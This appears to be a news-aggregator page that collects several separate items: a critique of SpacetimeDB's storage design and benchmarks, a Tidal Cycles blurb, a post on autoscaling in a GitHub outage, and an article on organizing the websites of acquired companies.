Anyway: back to SpacetimeDB and their benchmarks. They have a very different offering than their competitors! It’s an all-in-one database + application server, where you deploy a database instance and your application’s code runs inside the database itself. That’s a very interesting idea, I think. You could say it’s just like stored procedures in a relational database, but with better developer experience. Fair. But you can totally build a viable product out of that, though!
You gotta admit, however, that it has very little to do with the multi-region, highly available distributed databases against which it’s benchmarking itself. If your application code is running inside the database and your competitors have a separate application that must perform individual network requests for each query, then yes, you should be ahead in benchmarks that measure QPS. But are those honest benchmarks? Is that comparison what you want to show to potential customers evaluating your technical offering?
I’d say it’s not a very good thing to highlight. Accessing data in-memory is faster than accessing data over a network, and you’ve built a benchmark harness to prove that. As a potential user, I am not very impressed. I think from a marketing point of view, it would be much more interesting to show how fast you can access data in-memory, and then explain the trade-offs you’ve taken to get at those speeds.
From what I gather, there’s no clear technical breakdown on their website that explains this. So let’s give it a go here.
Storage #
There are several reasons why SpacetimeDB shows such good write performance in the synthetic benchmarks they’ve published. Obviously, the elephant in the room is that application logic runs locally next to the database and it can be exceedingly efficient when writing to the data store that way. They boost this efficiency even further with other tricks (such as batching writes), but to get to the performance numbers they’re showing, you need to cut corners somewhere: the data store is in-memory, which is very much unlike a traditional RDBMs.
Now: The good news is that writes to the in-memory store are linearizable. There’s some bad news, however. Proving linearizability of a system is usually an arduous task; I did not need to whip out TLA+ to do it here. Here it is trivially provable. Because the system is, well, a hash table with a lock in front of it.

This may seem exaggerated but trust me, it actually a quite accurate description of how the storage engine is designed. The committed state for the whole database in a SpacetimeDB instance is wrapped in a single Read-Write Mutex. All write operations happen sequentially, which is indeed trivial proof of linearizability. Two writes cannot happen at the same time, so they cannot conflict or race. But a read and a write cannot happen at the same time either!
What happens if there are too many writes? Do the readers starve? Building a data store on top of a single global lock with read/write semantics is a valid technical choice. Perhaps it is a bit questionable to market that as “a database”. But it seems to me that if you’re going all in with that approach, if that lock will provide the concurrency control for your whole database, you need to have very explicit, customizable semantics for prioritizing readers and writers, to ensure the server remains responsive regardless of the workload.
In this case, the behavior is an implementation detail, not particularly defined nor explained anywhere. The mutex is an off-the-shelf parking_lot::RWMutex, from the parking_lot crate. It has eventual fairness, which means that readers will eventually acquire the lock, even during high write-throughput scenarios. They will be randomly delayed, though, up to 0.5ms. The parking_lot crate is a Rust port of WebKit’s original WTF::Lock — this 2024 changeset shows how eventual fairness was implemented there. You should read it, it has very good performance insights on mutex contention. Think of it as a palate cleanser from this blog post. Now back to the hash table & the lock.
So what happens in this system during a write? Well, anything happens. It really is quite magical. While the global lock is held, a Wasmtime runtime is used to execute “reducers” (arbitrary user code, compiled to WebAssembly). While the reducer is executing, no other reducers can execute and write to the database. No other code can read from the database either. From their official documentation, reducers “cannot perform HTTP requests”. Yeah. No shit. The critical section for all writes to this database is exclusive and serialized, and it executes arbitrary user code. You’d better not be doing HTTP requests in the middle of it.
There’s a bit of an escape hatch here: you can use “Procedures” in the server. As of this week’s release they are still in Beta (the documentation warns that the API may change in the future). They do allow you run expensive code, including HTTP requests, so that’s a good thing. From inside a procedure, you can open a transaction, which again acquires the global mutex and doesn’t allow any other concurrent writes nor reads to the database, so make sure you commit it very very quickly or the whole system will stall.
For reads, the story is very similar. They’re supposed to happen through “Views”, which are the read-only equivalent to reducers. Since they acquire a reader lock on the global mutex, several views can run concurrently, but the database cannot be written to while views are executing. Just like reducers, views are arbitrary user code compiled to WebAssembly.
Durability #
One obvious consequence of this single-mutex design for a database is that you need to be doing the least amount of work possible in the critical path for the transaction. HTTP requests are definitely out of the question. But you cannot do other “expensive” stuff like some other RDBMs often do, such as, you know, persisting the transaction to disk (teehee).

This fully in-memory database is backed by a Write Ahead Log, but the WAL is not committed to disk as part of the write transaction. The WAL is asynchronous, and is flushed periodically to disk on the background (by default, every 50ms).
Can you actually make this fully consistent? The limitations of the “single mutex design” make this complicated, as the WAL can never be written synchronously (it would completely stall all other writes and reads in the application). The system does provide an option when reading, with peculiar semantics. The withConfirmedReads flag allows reads to only return data that has been synced to disk, by sleeping on the server until it eventually sees the WAL entries for the result of the query flushed to disk. This can be a sleep of up to 50ms, which is a long time for a request. It’s not a very ergonomic behavior, but the assumption here is that this is a database for “mostly ephemeral” data and your average query doesn’t need this kind of highly consistent guarantee.
This whole thing is giving big MongoDB-2011 vibes. In many ways, really. The guys at Mongo launched a pretty shitty database with very impressive benchmarks, and eventually got builled by the internet (see: MongoDb is Web Scale) into implementing a proper storage engine. They acquired WiredTiger, which really is a proper storage engine. Fifteen years later, they are a serious and viable database company. And yet there’s still a lot of technical people who remember the early days of Mongo and refuse to use it in production or recommend it. Their information is outdated. Modern Mongo is a serious database that works. But the bad technical reputation lingers, and will linger forever.
I think there’s a big lesson to be learned here: in 2026, if I were to launch a database product that is a hash table with a single lock in front of it, I’d do it quietly. Because cutting corners when launching a database product has been proved to be a viable approach (I wouldn’t do it myself, but MongoDB did it with great success). But as soon as the product catches on, if it does, you need to rush to pay back the technical debt and the reputational debt. A marketing video with laser beams and a “bottle of tears” makes this much more complicated.
Tradeoffs #
We’ve seen the technical choices that allow SpacetimeDB to perform so well in specific benchmarks (i.e. benchmarks where they measure how fast our application can write to the database; given that our application is the database). These choices are not explained upfront in the documentation, and sadly the trade-offs that these choices imply are also not explicitly listed.
Going through them briefly: this is not a distributed system and it has a very hard limit on scalability or availability. You can deploy a “SpacetimeDB cluster”, meaning a primary instance and several followers with eventually consistent replication (emphasis on eventually consistent; the WAL is eventually consistent, the replication is too, there’s a lot of margin for things to go wrong here), but your whole system is bottlenecked by the CPU and RAM capacity of the machine where your main SpacetimeDB instance is deployed. You need enough CPU for your database to execute all the queries, but also for your whole application to execute all its application logic, as again the application lives inside the database. You need enough RAM to fit all your database’s data in-memory. SpacetimeDB is not disk-backed at all; it just flushes a WAL to disk (and periodically, snapshots that make recovering from the WAL quicker on restarts). If your dataset grows larger than RAM, your database (and your application, which are the same thing) will fail over. The only option for scalability here is vertical: buying a bigger machine to run your database.
These tradeoffs are, again, perfectly valid. But they clearly position SpacetimeDB as “a more powerful Redis”, not “a more performant relational database”. It’s very puzzling why the authors chose to benchmark as the later.
Use Cases #
The original version of SpacetimeDB was developed as the backend of an MMORPG (a real game that you can play in Steam right now). That seems fair to me. I think all the technical choices in the database fit this use case. You can asynchronously flush to disk a WAL entry that says that xXxPussyHunter420xXx has looted [Thunderfury, Blessed Blade of the Windseeker]. 50ms of delay is OK here. He’ll get upset if the instance crashes just right then, but he’ll get over it.
Of course, there’s not a lot of studios building MMORPGs right now, and the ones that are building any kind of multiplayer games really tend to prefer their own in-house backends. They’re large studios after all, they’ve done this before. So I totally get why they’re pivoting SpacetimeDB v2 into something with broader appeal.
Their marketing page now says that “LLMs go much further with SpacetimeDB because it handles all the persistence, logic, deployment, and real-time sync in a single cohesive backend.” That’s also a fair choice. Agentic coding is the thing happening right now. Building a database that targets LLMs seems like a good idea. But I’ll be honest here: they literally made the worst possible technical choices for this use case.
The whole shtick of SpacetimeDB is that the performance and availability of both your application and your database is 100% dominated by short segments of user code which cannot perform any operations with side effects or stalls, because they’re compiled to WebAssembly and executed by a virtual machine inside a critical section that serializes all writes and reads to the storage backend of your application. The absence of side effects or stalls cannot be enforced by the type system, and is dependent on the particular WASM bytecode that is generated by a JIT compiler at runtime. Any mistake inside these critical sections, any operation that could cause them to stall under load, is probably only going to be seen in production, and is going to degrade the performance of your whole application — most likely to the point of causing an availability issue.
This is not the ideal environment for a LLM to program in. lol
Having said that: I think there’s a product here, and some lessons to learn. Perhaps the authors eventually apply them to SpacetimeDB v3 and launch a more resilient and LLM-friendly database, where application code is isolated and can run for as long as it needs, without possibly affecting other application code running locally, even when faced with serious implementation bugs; where transactions can run for as long as they need without affecting the performance of other transactions; where they’re implicitly throttled if they’re taking too long, if the LLM did not provide an optimal query plan. Perhaps we’ll see a system that is much more resilient to failure, but with much less “impressive performance”; perhaps the system will be trivially distributed so that the AI agent doesn’t have to plan a distributed system itself; perhaps it will launch with fewer silly benchmarks and with more technical details.
Now that’d be a product to keep an eye out for.
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Free/open-source software
Tidal Cycles (or 'Tidal' for short) is a free/open source live coding environment for algorithmic patterns, written in Haskell. Tidal is using SuperCollider, another open-source software, for synthesis and MIDI. Tidal has inspired a open source family of similar environments adopting its model of patterns of time known as Uzulangs, including the web-based Strudel environment.


Pattern everything
Tidal Cycles allows you to make patterns with code. It includes language for describing flexible (e.g. polyphonic, polyrhythmic, generative) sequences of sounds, notes, parameters, and all kind of information.

[image: Tidal Community]
Tidal Community
Tidal is used by a diverse and vibrant community of musicians for composition, improvisation and exploration of algorithmic music. Check out the Tidal Blog or submit your own blog post. Learn about the Tidal community.
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Full text couldn't be fetched for this one (paywall, anti-bot, or not an article page). Read it via the links below.
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In yesterday’s post about the recent GitHub outage, there was a detail in the writeup that I didn’t say anything about: the autoscaling policy on the service with the saturated Istio sidecar.





Originally this was caused by an Istio sidecar pod reaching its concurrency limits and failing to auto scale correctly because of a misconfigured policy that watched host service but not sidecar limits.






I suspect readers of this blog are familiar with what autoscaling is and how it works, but here’s a brief summary in case you aren’t. The amount of compute and memory resources that a service requires depends on the load that’s placed on that service. The relevant source of load here is external requests against the service, also known as traffic. The volume of traffic varies over time. For example, for a company like GitHub, my guess is that they more traffic during working hours than evening and weekends. 




Given that load changes dynamically, and that the compute and memory resources a service need is a function of load, there are two general strategies. One strategy is to provision your service for peak load. The other strategy is to dynamically adjust the resources allocated to your service, based on its current load; that’s called autoscaling.




If you want your service to use autoscaling, you need to define an autoscaling policy. In particular, you need to pick which metrics you want to use that represent load, and then you need to specify how resources should be added or removed based on how that metric changes. 




CPU utilization is a common metric used for autoscaling. But note that a service can become saturated even if CPU is low. For example, imagine a scenario where you use thread-per-request with a threadpool, and the latency of your downstream requests increase, and all of the threads in the pool end up blocked. Here the service is saturated, and you’d benefit from spinning up new pods, but CPU is actually low, because the threads are blocked waiting on I/O (this happened to Slack back in 2021). Now, you can add additional rules to your autoscaling policy to handle such cases (which is what Slack did, where they rapidly scaled up based on number of threads). Or you can scale based on incoming request volume instead of CPU, if your service isn’t CPU-bound.




Based on the GitHub writeup, it sounds like the autoscaling policy for the impacted service used load metrics that only took into account load on the service itself, and not on the Istio sidecar. 




In general, each service behaves differently under load, which means that every autoscaling policy is effectively bespoke. This means that a team that owns a service is not only responsible for the business logic, but also for an operational control system with custom parameters, that can really only be checked via load testing. (Are you doing load testing on all your services?) The service owners are also almost certainly not autoscaling experts. And so it’s not surprising to me that a misconfigured autoscaling policy was a contributor here. 




But, while I think it’s worth discussing the particular defect with this policy, since it’s good for people to be aware of the risks of autoscaling, I also think it’s too easy to fixate on it to the exclusion of other factors involved in this incident. This is what David Woods refers to as the component substitution fallacy – the idea that the way to improve reliability is to focus efforts on identifying and fixing the defective components. 




While, yes, you should identify and fix the defects uncovered by an incident, you should also recognize that:





	your system is, at this very moment, filled with latent component defects




	despite the presence of all of these defects, your system is not constantly failing over






This means that component defects aren’t enough to take down your system, or your system would be down right now. Don’t just look at the individual components: treat the interactions as first-class. In the GitHub outage, we see discussion of interactions between factors such as: changing traffic patterns (including scrapers), autoscaling policy, the Istio sidecar saturation, retry logic, HAProxy node saturation, and authentication traffic.




There’s also a multitude of details we don’t have because this is a rapidly disseminated public writeup, and the good stuff can only be found in the internal writeup. I speculated in this post about the relationship between service owner and autoscaling policy, but I would love to know more about the history here (did this policy predate the use of Istio sidecars, for example?). I’d also love to know more about the problematic traffic. (What kinds of requests were they? Was it a sudden increase or a gradual ramp-up? Do we know why the traffic increased?).




You can’t get answers to these sorts of questions for public incident writeups, but you can for the internal ones at your own organization. It’s up to you to ask the questions. 

	



Original: https://surfingcomplexity.blog/2026/08/19/github-autoscaling-and-the-component-substitution-fallacy/ · Discussion
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How to organize 3 acquired companies into one coherent website

littlelanguagemodels.com · 13 points · Discussion


Company A has acquired Company B, C, and D. How do we organize their sites, for multiple products with different audiences, while making it easy to find relevant product information and quickly understand how the products work together?




For example, Company A offers residential relocation services. Company B offers relocation services for businesses. Company C offers relocation management software. Company D offers fine art and antique moving services.




What I recommend to clients is formalizing user goals before making rebranding decisions.




People from Company A, B, C, and D are going to bring different perspectives to information architecture decisions based on their:





	day-to-day responsibilities




	previous experiences making IA decisions, positive or negative




	perception of the areas with the highest potential for company growth




	professional goals






Many people’s first impulse is to discuss the products.




How Company A plans and delivers items.




How company B coordinates B2B moves, the types of businesses.




The data powering Company C’s software, the types of users, pricing tiers.




Insurance, identity confirmation, country regulations, employee training for handling fine art for Company D.




These conversations are useful for context gathering, but create an unnecessary us against them environment in the context of the website’s future. You’re with Company A. I’m with Company D. Product discussions keep us aware of this distinction at all times.




Instead, I recommend turning outwards and focusing your attention on user actions.




What does the user of your product get from buying from you?




Why is the user visiting the homepage? What about the contact form? And the pricing page?




Come up with as many user goals for interacting with different areas of the product. Even better if Company D’s folks are writing user goals for Company A, Company A for Company B, and so on.




Having “new” folks come up with user goals helps them get familiarized with the product and it builds empathy for users and employees of the company alike. Amazingly, this serves as a beautiful user research session to unpack biases or currently-unmet user needs.




“Oh, we thought that would be done automatically. We may want to clarify that to users.”




“Oh, I didn’t realize we offer customs, tax, and documentation assistance.”




“It wasn’t clear to me that step was mandatory to schedule a pickup.”




Focusing on user goals highlights opportunities for consolidation and removal across your content. Different areas of different products can help users reach their goals.




Which brings me to the next step: defining different ways for the user to meet their goals.




Define different ways for the user to meet their goals considering format, audience, and information receptiveness




Consider format preferences (a map might work better for locations, but a text field may work better if a service is only offered in <5 locations), audiences (busyness, goals, language), and willingness to interact with company content (someone transporting a luxury item will be more receptive to longer content like PDF brochures, but a moving contractor looking for the login portal will be less patient).




Group content on the homepage and navigation by user goal, and the conversation becomes about ways to delight and provide additional value through the acquisitions, rather than which product of which company does what.




Next, consider labels. I don’t like putting people in boxes, but I swear it’s for a noble purpose here. 




Put users into categories




What are different types of groups a user may belong to for a healthcare training provider?





	Location (by country, city, district)




	Clinical discipline (nursing, surgery, pharmacy)




	Clinical specialty (dermatology, ethics, pathology)




	Phase (needs assessment, pre-briefing, facilitation, debriefing)




	Role (educator, administrator, researcher)




	Institution (academic, commercial, non-profit)






For patients of healthcare providers, groups may include:





	Insurance type




	Age group




	Risk level






These categories (known as taxonomy) can help guide users and quickly orient them. By thinking through possible categorizations, and their overlap (what would a pathology surgery clinician working for a commercial vendor in New York look for and find?), teams can make the digital experience so intuitive that the user doesn’t have to “think” much.




Users should understand options at a glance while being able to get granular, so the categories shouldn’t serve as rigid boxes, rather quicker, more elegant paths to eureka.




Test with a small group of users




Once you have initial low-fidelity designs of key pages/interactions, please, please, please test them with a small user group.





	Do labels match user language?




	Do groupings match users’ mental models?




	Does content hierarchy reflect user goals?




	Is the amount of information provided appropriate for the user’s current step?






Finally, and this is easy to miss: think of content horizontally, not vertically.




Think horizontally, not vertically




What do I mean by this?




I’ve been on many design review meetings where the focus was on the single page we were looking at, and stakeholders wanted to know why X element wasn’t included or why Y was so low on the page.




The thinking goes: if a content component is deprioritized, users will have a difficult time finding it, and get frustrated.





	Vertical content – Content on a single page/interface helping the user reach their goal.




	Horizontal content – Content component used strategically and constantly across pages/interfaces (think: visiting hours being available in nav, footer, location pages, event pages, contact pages, etc.)






Horizontal content improves content discoverability by offering multiple opportunities for the user to find what they’re looking for.




Vertical vs horizontal content thinking



HOKA offers multiple examples of horizontal content thinking. I just shared 3 website lessons from HOKA, one of the fastest growing sport brands. Check out the latest article. 




If you’re a content or design professional who enjoys work-related books, I highly recommend Donna Spencer’s book Presenting Design Work. One of the most valuable lessons I took from the book was presenting findings and recommendations in the context of “a person doing a thing” rather than prototype X or page Y. We’re taught to think vertically when it comes to content, so it’s not easy to remember to take a step back and consider the entire ecosystem, but it is important to do as not to harm user wayfinding.




If you’re a stakeholder in website and product decisions, you can also help guide users by asking questions related to the different ways the user may be looking for information and how the design may be able to accommodate them, not just in a single “important” page, but across touchpoints.




Okay, final final thing: A common point of tension between stakeholders is the fate of the content. People have ideas, fears, and dreams about what will become of the content. I unpacked the feelings aspect of redesign in here: How to manage stakeholder feelings in content decisions for website redesigns. TL;DR: People can be reluctant to make content decisions for all sorts of reasons. Every reason is inherently valid and worth listening to, understanding, and iterating upon as needed. 




Key takeaways




To organize content for multiple products with different audiences, while still making it easy to discover how the products work together:





	Start with user goals




	Identify commonalities across products




	Identify opportunities for consolidation and removal across content




	Define different ways for the user to meet their goals considering format, audience, and information receptiveness




	Put users into categories




	Test with a small group of users




	Provide multiple information pathways to improve discoverability




	Be prepared for content discussions to get heated






AI Policy: I personally write each draft and final copy on this website. All content reflects my own thinking, ideas, style, and craft. I do not use AI such as ChatGPT to generate articles. Occasionally, I ask AI such as Formalizer or Claude to summarize or restate my own ideas and may restructure sections based on the response.





Original: https://littlelanguagemodels.com/how-to-structure-your-sites-after-a-big-acquisition/ · Discussion
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Conway's Game of Life, in real life

lcamtuf.coredump.cx · 12 points · Discussion

Full text couldn't be fetched for this one (paywall, anti-bot, or not an article page). Read it via the links below.

Original: https://lcamtuf.coredump.cx/blog/conway/ · Discussion
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